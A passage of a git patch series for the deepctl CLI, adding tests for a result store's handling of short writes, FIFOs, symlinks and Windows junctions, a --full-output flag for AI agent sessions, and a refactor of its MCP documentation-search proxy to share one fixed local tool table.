+        tempfile, "mkdtemp", lambda **kw: (_ for _ in ()).throw(OSError(13, "denied"))
+    )
+    try:
+        with pytest.raises(result_store.ResultStoreError) as err:
+            result_store.save(b"{}\n", b"", state=state)
+    finally:
+        os.chmod(tmp_root, 0o700)
+    assert err.value.directory == state
+
+
+def test_a_failed_write_leaves_no_partial_file(tmp_path, tmp_root, monkeypatch):
+    real = result_store._write_at
+    calls = []
+
+    def flaky(dir_fd, name, data):
+        calls.append(name)
+        if name.endswith(".txt") and len(calls) == 2:
+            real(dir_fd, name, data[:1])
+            raise OSError(28, "No space left on device")
+        real(dir_fd, name, data)
+
+    monkeypatch.setattr(result_store, "_write_at", flaky)
+    state = tmp_path / "state"
+    saved = result_store.save(b"{}\n", b"text\n", state=state)
+    # The state dir's partial pair is gone; the temp dir took the result.
+    assert list((state / "results").iterdir()) == []
+    assert saved.full_result_path.parent.parent.name == f"deepctl-{os.geteuid()}"
+
+
+def test_pruning_drops_old_pairs_then_the_oldest_over_the_cap(
+    tmp_path, tmp_root, monkeypatch
+):
+    state = tmp_path / "state"
+    results = state / "results"
+    state.mkdir(mode=0o700)
+    results.mkdir(mode=0o700)
+    now = time.time()
+
+    def pair(stem: str, age_s: float, size: int) -> None:
+        for suffix in (".json", ".txt"):
+            p = results / (stem + suffix)
+            p.write_bytes(b"x" * size)
+            os.utime(p, (now - age_s, now - age_s))
+
+    pair("20261030T000000Z-00000001", 25 * 3600, 10)  # older than 24 h
+    pair("20261031T000000Z-00000002", 3600 * 3, 400)
+    pair("20261031T010000Z-00000003", 3600 * 2, 400)
+    (results / "unrelated.json").write_bytes(b"keep me")
+    monkeypatch.setattr(result_store, "MAX_TOTAL_BYTES", 1700)
+    saved = result_store.save(b"y" * 100, b"z" * 100, state=state)
+    left = sorted(p.name for p in results.iterdir())
+    assert "20261030T000000Z-00000001.json" not in left
+    assert "20261031T000000Z-00000002.json" not in left  # oldest over the cap
+    assert "20261031T010000Z-00000003.json" in left
+    assert saved.full_result_path.name in left
+    assert "unrelated.json" in left
+
+
+@pytest.mark.parametrize(
+    ("target", "expected"), [("file", True), ("devnull", True), ("pipe", False)]
+)
+def test_stdout_file_or_null(tmp_path, monkeypatch, target, expected):
+    import io
+
+    if target == "file":
+        handle = open(tmp_path / "out", "w")  # noqa: SIM115
+    elif target == "devnull":
+        handle = open(os.devnull, "w")  # noqa: SIM115
+    else:
+        r, w = os.pipe()
+        os.close(r)
+        handle = io.TextIOWrapper(io.FileIO(w, "w"))
+    try:
+        monkeypatch.setattr(sys, "stdout", handle)
+        assert result_store.stdout_is_file_or_null() is expected
+    finally:
+        monkeypatch.undo()
+        handle.close()
diff --git a/packages/deepctl-core/tests/unit/test_result_store_edges.py b/packages/deepctl-core/tests/unit/test_result_store_edges.py
new file mode 100644
index 00000000..91d426fb
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_result_store_edges.py
@@ -0,0 +1,286 @@
+"""Result files: short writes, a FIFO in the way, and the Windows path.
+
+The Windows path (``_save_paths``) uses plain paths, so it runs on any
+platform with ``_posix`` patched to False; a reparse point is simulated
+with a stat result that carries ``st_file_attributes``.
+"""
+
+from __future__ import annotations
+
+import os
+import stat
+import sys
+import tempfile
+import threading
+import time
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+from deepctl_core import result_store
+
+needs_fifo = pytest.mark.skipif(not hasattr(os, "mkfifo"), reason="needs mkfifo")
+posix_only = pytest.mark.skipif(
+    not result_store._posix(), reason="POSIX descriptors"
+)
+
+
+@pytest.fixture
+def tmp_root(tmp_path, monkeypatch):
+    tmp = tmp_path / "tmp"
+    tmp.mkdir()
+    monkeypatch.setattr(tempfile, "gettempdir", lambda: str(tmp))
+    return tmp
+
+
+@pytest.fixture
+def windows_path(monkeypatch):
+    monkeypatch.setattr(result_store, "_posix", lambda: False)
+
+
+@pytest.fixture
+def short_writes(monkeypatch):
+    """``os.write`` takes at most 7 bytes per call, as a pipe or a slow
+    file system may."""
+    real = os.write
+    calls = []
+
+    def write(fd, data):
+        calls.append(len(data))
+        return real(fd, bytes(data[:7]))
+
+    monkeypatch.setattr(result_store.os, "write", write)
+    return calls
+
+
+def _bounded(fn, seconds: float = 10.0):
+    """Run ``fn`` in a thread; fail (instead of hanging) if it blocks."""
+    box: dict[str, object] = {}
+
+    def run() -> None:
+        try:
+            box["value"] = fn()
+        except BaseException as exc:  # pragma: no cover - reported below
+            box["error"] = exc
+
+    thread = threading.Thread(target=run, daemon=True)
+    thread.start()
+    thread.join(seconds)
+    assert not thread.is_alive(), "blocked on a FIFO"
+    if "error" in box:
+        raise box["error"]  # type: ignore[misc]
+    return box["value"]
+
+
+FULL = b'{"transcript": "' + b"x" * 200 + b'"}\n'
+TEXT = b"hello there, a transcript longer than one short write\n"
+
+
+# ── every write loops until all bytes are out ─────────────────────────
+
+
+@posix_only
+def test_posix_short_writes_still_write_everything(tmp_path, tmp_root, short_writes):
+    saved = result_store.save(FULL, TEXT, state=tmp_path / "state")
+    assert saved.full_result_path.read_bytes() == FULL
+    assert saved.transcript_path.read_bytes() == TEXT
+    assert len(short_writes) > 2
+
+
+def test_windows_short_writes_still_write_everything(
+    tmp_path, tmp_root, windows_path, short_writes
+):
+    saved = result_store.save(FULL, TEXT, state=tmp_path / "state")
+    assert saved.full_result_path.parent == (tmp_path / "state" / "results").resolve()
+    assert saved.full_result_path.read_bytes() == FULL
+    assert saved.transcript_path.read_bytes() == TEXT
+    assert len(short_writes) > 2
+
+
+# ── the Windows path prunes like the POSIX one ───────────────────────
+
+
+def test_windows_path_prunes_old_and_oversized_pairs(
+    tmp_path, tmp_root, windows_path, monkeypatch
+):
+    results = tmp_path / "state" / "results"
+    results.mkdir(parents=True)
+    now = time.time()
+
+    def pair(stem: str, age_s: float, size: int) -> None:
+        for suffix in (".json", ".txt"):
+            p = results / (stem + suffix)
+            p.write_bytes(b"x" * size)
+            os.utime(p, (now - age_s, now - age_s))
+
+    pair("20261030T000000Z-00000001", 25 * 3600, 10)  # older than 24 h
+    pair("20261031T000000Z-00000002", 3600 * 3, 400)
+    pair("20261031T010000Z-00000003", 3600 * 2, 400)
+    (results / "unrelated.json").write_bytes(b"keep me")
+    monkeypatch.setattr(result_store, "MAX_TOTAL_BYTES", 1700)
+    saved = result_store.save(b"y" * 100, b"z" * 100, state=tmp_path / "state")
+    left = sorted(p.name for p in results.iterdir())
+    assert "20261030T000000Z-00000001.json" not in left
+    assert "20261031T000000Z-00000002.json" not in left
+    assert "20261031T010000Z-00000003.json" in left
+    assert saved.full_result_path.name in left
+    assert saved.transcript_path.name in left
+    assert "unrelated.json" in left
+
+
+# ── the Windows path refuses links and junctions ─────────────────────
+
+
+@pytest.mark.skipif(not hasattr(os, "symlink"), reason="needs symlinks")
+def test_windows_path_refuses_a_symlinked_results_dir(
+    tmp_path, tmp_root, windows_path
+):
+    elsewhere = tmp_path / "elsewhere"
+    elsewhere.mkdir()
+    state = tmp_path / "state"
+    state.mkdir()
+    try:
+        (state / "results").symlink_to(elsewhere, target_is_directory=True)
+    except OSError:
+        pytest.skip("can't create a symlink here")
+    saved = result_store.save(FULL, TEXT, state=state)
+    assert list(elsewhere.iterdir()) == []
+    assert saved.full_result_path.parent == (tmp_root / "deepctl" / "results").resolve()
+
+
+def test_reparse_point_is_not_a_plain_dir(tmp_path, monkeypatch):
+    target = tmp_path / "junction"
+    target.mkdir()
+    real = os.lstat
+
+    def lstat(path, *args, **kwargs):
+        st = real(path, *args, **kwargs)
+        if Path(path) == target:
+            return SimpleNamespace(st_mode=st.st_mode, st_file_attributes=0x400)
+        return st
+
+    assert result_store._is_plain_dir(target) is True
+    monkeypatch.setattr(result_store.os, "lstat", lstat)
+    assert result_store._is_plain_dir(target) is False
+    assert result_store._save_paths(target, FULL, TEXT) is None
+    assert list(target.iterdir()) == []
+
+
+def test_windows_path_refuses_a_file_named_results(tmp_path, tmp_root, windows_path):
+    state = tmp_path / "state"
+    state.mkdir()
+    (state / "results").write_text("not a directory")
+    saved = result_store.save(FULL, TEXT, state=state)
+    assert saved.full_result_path.parent == (tmp_root / "deepctl" / "results").resolve()
+
+
+# ── a FIFO where the results directory goes ──────────────────────────
+
+
+@needs_fifo
+@posix_only
+def test_fifo_in_the_state_dir_falls_back_without_blocking(tmp_path, tmp_root):
+    state = tmp_path / "state"
+    state.mkdir(mode=0o700)
+    os.mkfifo(state / "results", 0o600)
+    saved = _bounded(lambda: result_store.save(FULL, TEXT, state=state))
+    assert stat.S_ISFIFO(os.lstat(state / "results").st_mode)  # left alone
+    expected = (tmp_root / f"deepctl-{os.geteuid()}" / "results").resolve()
+    assert saved.full_result_path.parent == expected
+    assert saved.full_result_path.read_bytes() == FULL
+
+
+@needs_fifo
+@posix_only
+def test_fifo_in_the_temp_dir_is_refused_with_one_warning(tmp_path, tmp_root):
+    state = tmp_path / "file"
+    state.write_text("not a directory")
+    mine = tmp_root / f"deepctl-{os.geteuid()}"
+    mine.mkdir(mode=0o700)
+    os.mkfifo(mine / "results", 0o600)
+    warned: list[str] = []
+    saved = _bounded(
+        lambda: result_store.save(FULL, TEXT, state=state, warn=warned.append)
+    )
+    assert warned == [str(mine / "results")]
+    # A fresh directory of this run's own took the pair.
+    assert saved.full_result_path.parent.parent.name.startswith(
+        f"deepctl-{os.geteuid()}-"
+    )
+    assert saved.full_result_path.read_bytes() == FULL
+    assert stat.S_ISFIFO(os.lstat(mine / "results").st_mode)
+
+
+@needs_fifo
+@posix_only
+def test_symlinked_results_in_the_temp_dir_is_not_followed(tmp_path, tmp_root):
+    state = tmp_path / "file"
+    state.write_text("not a directory")
+    mine = tmp_root / f"deepctl-{os.geteuid()}"
+    mine.mkdir(mode=0o700)
+    elsewhere = tmp_path / "elsewhere"
+    elsewhere.mkdir(mode=0o700)
+    (mine / "results").symlink_to(elsewhere)
+    warned: list[str] = []
+    saved = result_store.save(FULL, TEXT, state=state, warn=warned.append)
+    assert warned == [str(mine / "results")]
+    assert list(elsewhere.iterdir()) == []
+    assert saved.full_result_path.read_bytes() == FULL
+
+
+@needs_fifo
+def test_fifo_on_the_windows_path_is_refused_without_blocking(
+    tmp_path, tmp_root, windows_path
+):
+    state = tmp_path / "state"
+    state.mkdir()
+    os.mkfifo(state / "results", 0o600)
+    saved = _bounded(lambda: result_store.save(FULL, TEXT, state=state))
+    assert saved.full_result_path.parent == (tmp_root / "deepctl" / "results").resolve()
+
+
+@needs_fifo
+@posix_only
+def test_fifo_named_like_a_result_is_never_opened(tmp_path, tmp_root, monkeypatch):
+    state = tmp_path / "state"
+    results = state / "results"
+    results.mkdir(parents=True, mode=0o700)
+    os.chmod(state, 0o700)
+    monkeypatch.setattr(result_store, "_stem", lambda: "20261101T000000Z-0000abcd")
+    os.mkfifo(results / "20261101T000000Z-0000abcd.json", 0o600)
+    # Every location gets the same name here, so each O_EXCL open fails.
+    tmp_results = tmp_root / f"deepctl-{os.geteuid()}" / "results"
+    tmp_results.mkdir(parents=True, mode=0o700)
+    os.chmod(tmp_results.parent, 0o700)
+    os.mkfifo(tmp_results / "20261101T000000Z-0000abcd.json", 0o600)
+    with pytest.raises(result_store.ResultStoreError):
+        _bounded(lambda: result_store.save(FULL, TEXT, state=state))
+    assert stat.S_ISFIFO(os.lstat(results / "20261101T000000Z-0000abcd.json").st_mode)
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+def test_write_all_handles_an_empty_payload(tmp_path):
+    path = tmp_path / "empty"
+    fd = os.open(path, os.O_WRONLY | os.O_CREAT, 0o600)
+    try:
+        result_store._write_all(fd, b"")
+    finally:
+        os.close(fd)
+    assert path.read_bytes() == b""
+
+
+@needs_fifo
+def test_windows_path_leaves_a_file_it_did_not_create(
+    tmp_path, tmp_root, windows_path, monkeypatch
+):
+    state = tmp_path / "state"
+    results = state / "results"
+    results.mkdir(parents=True)
+    monkeypatch.setattr(result_store, "_stem", lambda: "20261101T000000Z-0000abcd")
+    os.mkfifo(results / "20261101T000000Z-0000abcd.txt", 0o600)
+    saved = _bounded(lambda: result_store.save(FULL, TEXT, state=state))
+    # The .json this call wrote before the clash is gone; the FIFO stays.
+    assert sorted(p.name for p in results.iterdir()) == [
+        "20261101T000000Z-0000abcd.txt"
+    ]
+    assert saved.full_result_path.parent == (tmp_root / "deepctl" / "results").resolve()
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index d547f247..a5a899a6 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -624,6 +624,14 @@ def _root_option_tokens(args: list[str]) -> list[str]:
     return tokens
 
 
+def _full_output_cb(ctx: click.Context, _param: click.Parameter, value: bool) -> None:
+    """``--full-output``: shared with every subcommand through ``ctx.meta``."""
+    if value:
+        from deepctl_core.result_store import FULL_OUTPUT_META
+
+        ctx.meta[FULL_OUTPUT_META] = True
+
+
 def _no_telemetry_cb(ctx: click.Context, param: click.Parameter, value: bool) -> None:
     """Turn telemetry off for this run. Eager, so root `--help` reflects it."""
     if not value or ctx.resilient_parsing:
@@ -778,6 +786,16 @@ def _argv_config_path(args: list[str]) -> str | None:
     expose_value=False,
     help="Skip interactive prompts; use defaults for any optional features.",
 )
+@click.option(
+    "--full-output",
+    is_flag=True,
+    expose_value=False,
+    callback=_full_output_cb,
+    help=(
+        "In an AI agent session, print a large result in full instead of "
+        "saving it to a file and printing a summary."
+    ),
+)
 @click.option(
     "--record-install-method",
     is_eager=True,
diff --git a/src/deepctl/_manifest.d/listen.json b/src/deepctl/_manifest.d/listen.json
index 32e478e3..9b7b9efa 100644
--- a/src/deepctl/_manifest.d/listen.json
+++ b/src/deepctl/_manifest.d/listen.json
@@ -58,6 +58,27 @@
         "hidden": false,
         "help": "Output WebVTT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --srt."
       },
+      {
+        "class": "option",
+        "name": "full_output",
+        "opts": [
+          "--full-output"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "In an AI agent session, print a large result in full instead of saving it to a file and printing a summary."
+      },
       {
         "class": "option",
         "name": "timeout",
diff --git a/src/deepctl/_manifest.d/transcribe.json b/src/deepctl/_manifest.d/transcribe.json
index b038fb75..ebee3ad6 100644
--- a/src/deepctl/_manifest.d/transcribe.json
+++ b/src/deepctl/_manifest.d/transcribe.json
@@ -58,6 +58,27 @@
         "hidden": false,
         "help": "Output WebVTT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --srt."
       },
+      {
+        "class": "option",
+        "name": "full_output",
+        "opts": [
+          "--full-output"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "In an AI agent session, print a large result in full instead of saving it to a file and printing a summary."
+      },
       {
         "class": "option",
         "name": "timeout",

From 0a33a429a42269f4a403bb4a7cda52eb4cf5cc25 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:33:19 -0500
Subject: [PATCH 50/88] refactor(mcp): share one proxy and tool table for every
 dg mcp path

The base runs dg mcp from a minimal copy of the vendored proxy in
deepctl_cmd_mcp.proxy. dg mcp's fast path and the command now share it,
and the port is finished:

- initialize and tools/list come from one fixed local instructions and
  tool table, in deepctl.mcp._fast; the proxy's own copy goes, so the
  two paths can't drift;
- the fast path's hand-off serves through the proxy (its LineWriter
  drops the reply to the replayed initialize) instead of its own
  adapter, so nothing connects until a tool call and a remote failure
  is that call's tool error;
- key lookup (key_or_error) lives in the hand-off module and serves
  both paths: no key, an unreadable config or a config key an agent
  session doesn't trust give the same text;
- the HTTP client takes the transport's no-cookies setting; it still
  follows no redirects, and a 3xx keeps core's refusal text.

The base's tests that duplicate these now live in test_handoff.py; the
rest stay in test_proxy.py, pointed at the shared table. The base's
end-to-end tests (with the --debug and same-origin redirect cases) are
kept as they are.
---
 .../src/deepctl_cmd_mcp/command.py            |  37 +--
 .../src/deepctl_cmd_mcp/handoff.py            |  95 ++------
 .../src/deepctl_cmd_mcp/proxy.py              |  98 +++-----
 .../tests/e2e/test_stdio_e2e.py               |   2 +-
 .../tests/unit/test_handoff.py                | 220 +++++++++++++-----
 .../tests/unit/test_mcp_command.py            |  54 +----
 .../deepctl-cmd-mcp/tests/unit/test_proxy.py  |   5 +-
 src/deepctl/mcp/_fast.py                      |  20 +-
 8 files changed, 250 insertions(+), 281 deletions(-)

diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
index 4fab92d7..7fa3f92a 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
@@ -4,7 +4,6 @@
 
 import os
 import signal
-import sys
 from typing import TYPE_CHECKING, Any
 
 from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient, output
@@ -22,15 +21,7 @@
 
 from . import messages as mcp_msg
 from .models import MCPServerResult, TransportType
-from .proxy import (
-    CANT_START,
-    DEFAULT_BASE_URL,
-    NO_KEY,
-    isolate_stdout,
-    reason,
-    report_error,
-    run_proxy,
-)
+from .proxy import DEFAULT_BASE_URL, isolate_stdout, report_error, run_proxy
 
 if TYPE_CHECKING:
     pass
@@ -52,30 +43,6 @@ def __getattr__(name: str) -> Any:
 console = stderr_console
 
 
-def key_or_error(config: Any, auth_manager: Any) -> str:
-    """The API key, or RuntimeError with the complete text for the client."""
-    from contextlib import redirect_stdout
-
-    from deepctl_core import messages as msg
-
-    try:
-        with redirect_stdout(sys.stderr):
-            api_key = auth_manager.get_api_key()
-    except Exception as exc:
-        raise RuntimeError(CANT_START.format(reason=reason(exc))) from exc
-    if api_key:
-        return str(api_key)
-    if getattr(config, "api_key_untrusted", False) is True:
-        # The config file's key was left unused (W-PERM-AGENT /
-        # W-CFG-UNTRUSTED): send the agent to a person, never to dg login.
-        raise RuntimeError(
-            msg.E_KEY_UNTRUSTED.format(user_config=msg.display_path(config.config_path))
-            + " "
-            + msg.W_CFG_UNTRUSTED_FILE_HINT
-        )
-    raise RuntimeError(CANT_START.format(reason=NO_KEY))
-
-
 def _refuse_transport(transport: str) -> None:
     """Report an unsupported --transport on stderr and exit 1.
 
@@ -221,6 +188,8 @@ def handle(
                 report(err)
                 raise SystemExit(1) from err
 
+        from .handoff import key_or_error
+
         debug = kwargs.get("debug", False)
 
         # Set up signal handling for graceful shutdown
diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py
index b00d7ce1..b3287a4b 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py
@@ -4,7 +4,8 @@
 calls ``serve_after_handshake`` on the first request it can't answer. This
 replays the client's ``initialize`` to the local MCP server in
 ``deepctl_cmd_mcp.proxy`` (dropping that second reply), then feeds it the
-pending request and the rest of stdin.
+pending request and the rest of stdin. Nothing connects to Deepgram until a
+tool call, and a remote failure is that call's tool error.
 
 Contract (see ``deepctl.mcp._fast``): returns the exit code when the session
 ends; raises an ``Exception`` whose message the client sees only when it
@@ -19,6 +20,8 @@
 from contextlib import redirect_stdout
 from typing import TYPE_CHECKING, Any, BinaryIO
 
+from .proxy import CANT_START, NO_KEY, LineWriter, reason, report_error
+
 if TYPE_CHECKING:
     from collections.abc import AsyncIterator
 
@@ -26,28 +29,14 @@
 _REPLAY_ID = "deepctl-fast-path-initialize"
 
 
-def _report_error(exc: BaseException) -> None:
-    """Errors-only telemetry, as `dg mcp` reports proxy failures."""
-    try:
-        from deepctl_telemetry import report_exception
-
-        report_exception(exc)
-    except Exception:
-        pass
-
-
 class _ReplayThenStdin:
     """Async lines: the replayed handshake and pending request, then stdin."""
 
     def __init__(self, lines: list[str], stdin: BinaryIO) -> None:
         self._lines = lines
         self._stdin = stdin
-        # Set once the server starts reading: from then on a failure is
-        # reported on stderr, not as a start failure.
-        self.started = False
 
     def __aiter__(self) -> AsyncIterator[str]:
-        self.started = True
         return self._lines_then_stdin()
 
     async def _lines_then_stdin(self) -> AsyncIterator[str]:
@@ -60,46 +49,12 @@ async def _lines_then_stdin(self) -> AsyncIterator[str]:
             yield line
 
 
-class _DropReplayReply:
-    """stdout for the proxy server, minus its reply to the replayed initialize."""
-
-    def __init__(self, stdout: BinaryIO) -> None:
-        self._stdout = stdout
-        self._dropped = False
-
-    async def write(self, data: str) -> None:
-        if not self._dropped:
-            try:
-                reply_id = json.loads(data).get("id")
-            except (ValueError, AttributeError):
-                reply_id = None
-            if reply_id == _REPLAY_ID:
-                self._dropped = True
-                return
-        self._stdout.write(data.encode("utf-8"))
-
-    async def flush(self) -> None:
-        self._stdout.flush()
-
-
-# The client sees these texts (as a tool error) and stderr gets them after
-# "ERROR: dg mcp: ". A local cause (no key, unreadable config) never reads
-# as Deepgram being down.
-CANT_START = "dg mcp can't start the documentation search: {reason}"
-CANT_REACH = "dg mcp couldn't reach Deepgram's documentation search: {reason}"
-NO_KEY = (
-    "No API key is set. Run dg login or set DEEPGRAM_API_KEY, then restart "
-    "the MCP server."
-)
-
-
 def _api_key() -> str:
     """The key `dg mcp` would use (flag-less: profile, keyring or env).
 
     Raises RuntimeError with the client-facing text when there is none.
     """
     from deepctl_core import AuthManager, Config
-    from deepctl_core import messages as msg
     from deepctl_core.config import flush_config_notices
 
     try:
@@ -114,11 +69,24 @@ def _api_key() -> str:
                 init_telemetry(config)
             except Exception:
                 pass
-            api_key = AuthManager(config).get_api_key()
+            return key_or_error(config, AuthManager(config))
+    except RuntimeError:
+        raise
     except Exception as exc:
-        raise RuntimeError(CANT_START.format(reason=_reason(exc))) from exc
+        raise RuntimeError(CANT_START.format(reason=reason(exc))) from exc
+
+
+def key_or_error(config: Any, auth_manager: Any) -> str:
+    """The API key, or RuntimeError with the complete text for the client."""
+    from deepctl_core import messages as msg
+
+    try:
+        with redirect_stdout(sys.stderr):
+            api_key = auth_manager.get_api_key()
+    except Exception as exc:
+        raise RuntimeError(CANT_START.format(reason=reason(exc))) from exc
     if api_key:
-        return api_key
+        return str(api_key)
     if getattr(config, "api_key_untrusted", False) is True:
         # The config file's key was left unused (W-PERM-AGENT /
         # W-CFG-UNTRUSTED): send the agent to a person, never to dg login.
@@ -136,7 +104,7 @@ def serve_after_handshake(
     stdin: BinaryIO,
     stdout: BinaryIO,
 ) -> int:
-    """Serve the rest of a stdio session through the local MCP server."""
+    """Serve the rest of a stdio session with the documentation search."""
     import asyncio
 
     from deepctl_core.hosts import canonical_url
@@ -156,12 +124,11 @@ def serve_after_handshake(
         json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}),
         json.dumps(pending_message),
     ]
-    lines = _ReplayThenStdin(replay, stdin)
     try:
         asyncio.run(
             serve(
-                lines,
-                _DropReplayReply(stdout),
+                _ReplayThenStdin(replay, stdin),
+                LineWriter(stdout, drop_id=_REPLAY_ID),
                 base_url=canonical_url(DEFAULT_BASE_URL),
                 api_key=lambda: api_key,
             )
@@ -169,19 +136,7 @@ def serve_after_handshake(
     except KeyboardInterrupt:
         return 0
     except Exception as exc:
-        _report_error(exc)
-        reason = _reason(exc)
-        if not lines.started:
-            raise RuntimeError(CANT_REACH.format(reason=reason)) from exc
-        print(f"ERROR: dg mcp: {reason}", file=sys.stderr)
+        report_error(exc)
+        print(f"ERROR: dg mcp: {reason(exc)}", file=sys.stderr)
         return 1
     return 0
-
-
-def _reason(exc: BaseException) -> str:
-    """One line: the innermost cause of an (exception-group) failure."""
-    # ExceptionGroup is 3.11+; anyio raises its backport on 3.10.
-    while getattr(exc, "exceptions", None):
-        exc = exc.exceptions[0]  # type: ignore[attr-defined]
-    text = str(exc).strip().splitlines()
-    return text[0] if text else type(exc).__name__
diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py
index fcc6c2fc..d54cc28c 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py
@@ -4,8 +4,8 @@
 remote can never break the local session:
 
 - ``initialize`` and ``tools/list`` are answered from fixed local text
-  (``INSTRUCTIONS`` and ``TOOLS`` below). The remote's instructions and
-  tool descriptions are never passed through.
+  (``deepctl.mcp._fast.INSTRUCTIONS`` and ``TOOLS``). The remote's
+  instructions and tool descriptions are never passed through.
 - Nothing connects until a ``tools/call``. Each call opens its own session
   to ``{base_url}/kapa/mcp``, so a remote that is down, refuses the key or
   restarted is an ``isError`` result for that call, and the next call tries
@@ -13,7 +13,8 @@
 - The remote's ``CallToolResult`` is returned whole: ``content``,
   ``isError``, ``structuredContent`` and ``_meta``.
 - The HTTP client follows no redirects, keeps no cookies and verifies
-  TLS: a 3xx is a tool error, so the key never goes to another origin.
+  TLS, like the rest of deepctl: a 3xx is a tool error, so the key never
+  goes to another origin.
 
 Callers decide which hosts may receive the key before they get here.
 """
@@ -35,42 +36,6 @@
 DEFAULT_BASE_URL = DEFAULT_DX_URL
 REMOTE_PATH = "/kapa/mcp"
 
-SERVER_NAME = "deepgram-mcp"
-
-# Fixed local text, never passed through from the remote service: its
-# instructions and tool descriptions are text an attacker could influence.
-INSTRUCTIONS = (
-    "Deepgram developer documentation search. Call "
-    "search_deepgram_knowledge_sources with a question about Deepgram's "
-    "speech-to-text, text-to-speech, Voice Agent or audio intelligence APIs, "
-    "SDKs or CLI. Results are passages from Deepgram's documentation, each "
-    "with its source URL; cite the URL when you use a passage."
-)
-
-# The tool names are the remote service's; the descriptions and schemas are
-# ours. Calls are forwarded only for the names in this table.
-TOOLS: list[dict[str, Any]] = [
-    {
-        "name": "search_deepgram_knowledge_sources",
-        "title": "Search Deepgram documentation",
-        "description": (
-            "Search Deepgram's documentation, API reference and guides. "
-            "Returns the most relevant passages, each with its source URL."
-        ),
-        "inputSchema": {
-            "type": "object",
-            "properties": {
-                "query": {
-                    "type": "string",
-                    "description": "A question or search terms, in natural language.",
-                }
-            },
-            "required": ["query"],
-        },
-        "annotations": {"readOnlyHint": True, "openWorldHint": True},
-    }
-]
-
 # Opening the remote session (HTTP connect plus MCP initialize) and one call.
 CONNECT_TIMEOUT_S = 15.0
 CALL_TIMEOUT_S = 120.0
@@ -185,16 +150,15 @@ def http_client(
     timeout: Any = None,
     auth: Any = None,
 ) -> Any:
-    """The MCP SDK's ``httpx_client_factory``: no redirects, no cookies.
+    """The MCP SDK's ``httpx_client_factory``: deepctl's client settings.
 
-    A 3xx could take the key to another origin. The SDK's own factory
-    follows every redirect before mcp 1.30, and 1.30 follows same-origin
-    ones itself up to ``max_redirects``, so that is 0 too: any 3xx is an
-    ``HTTPStatusError`` and a tool error. TLS is verified.
+    No redirects (a 3xx could take the key to another origin), no cookies,
+    TLS verified. The SDK's own factory follows every redirect before mcp
+    1.30, and 1.30 follows same-origin ones itself up to ``max_redirects``,
+    so that is 0 too: any 3xx is an ``HTTPStatusError`` and a tool error.
     """
-    from http.cookiejar import DefaultCookiePolicy
-
     import httpx
+    from deepctl_core.transport import _no_cookies
 
     client = httpx.AsyncClient(
         headers=headers,
@@ -204,28 +168,18 @@ def http_client(
         max_redirects=0,
         verify=True,
     )
-    client.cookies.jar.set_policy(DefaultCookiePolicy(allowed_domains=[]))
+    _no_cookies(client)  # type: ignore[arg-type]
     return client
 
 
 def local_tools() -> list[types.Tool]:
     """The fixed local tool table, as the MCP SDK's models."""
     import mcp.types as types
+    from deepctl.mcp._fast import TOOLS
 
     return [types.Tool.model_validate(tool) for tool in TOOLS]
 
 
-def _version() -> str:
-    from importlib.metadata import PackageNotFoundError, version
-
-    for dist in ("deepctl", "deepctl-cmd-mcp"):
-        try:
-            return version(dist)
-        except PackageNotFoundError:
-            continue
-    return "0"
-
-
 async def call_remote(
     base_url: str,
     api_key: str,
@@ -282,6 +236,8 @@ def build_server(
     the complete text for the client. It runs on each call, so a key set
     up after the server started (``dg login``) is picked up.
     """
+    from deepctl import __version__
+    from deepctl.mcp._fast import INSTRUCTIONS, SERVER_NAME
     from mcp.server.lowlevel import NotificationOptions, Server
     from mcp.server.models import InitializationOptions
 
@@ -311,7 +267,7 @@ async def handle_call_tool(
 
     options = InitializationOptions(
         server_name=SERVER_NAME,
-        server_version=_version(),
+        server_version=__version__,
         capabilities=server.get_capabilities(
             notification_options=NotificationOptions(),
             experimental_capabilities={},
@@ -322,12 +278,27 @@ async def handle_call_tool(
 
 
 class LineWriter:
-    """The protocol stream for the MCP SDK's stdio server: UTF-8 lines."""
+    """The protocol stream for the MCP SDK's stdio server: UTF-8 lines.
 
-    def __init__(self, stdout: BinaryIO) -> None:
+    Optionally drops the server's reply to one request id (a replayed
+    ``initialize`` that the client already got an answer to).
+    """
+
+    def __init__(self, stdout: BinaryIO, drop_id: object = None) -> None:
         self._stdout = stdout
+        self._drop_id = drop_id
 
     async def write(self, data: str) -> None:
+        if self._drop_id is not None:
+            import json
+
+            try:
+                reply_id = json.loads(data).get("id")
+            except (ValueError, AttributeError):
+                reply_id = None
+            if reply_id == self._drop_id:
+                self._drop_id = None
+                return
         self._stdout.write(data.encode("utf-8"))
 
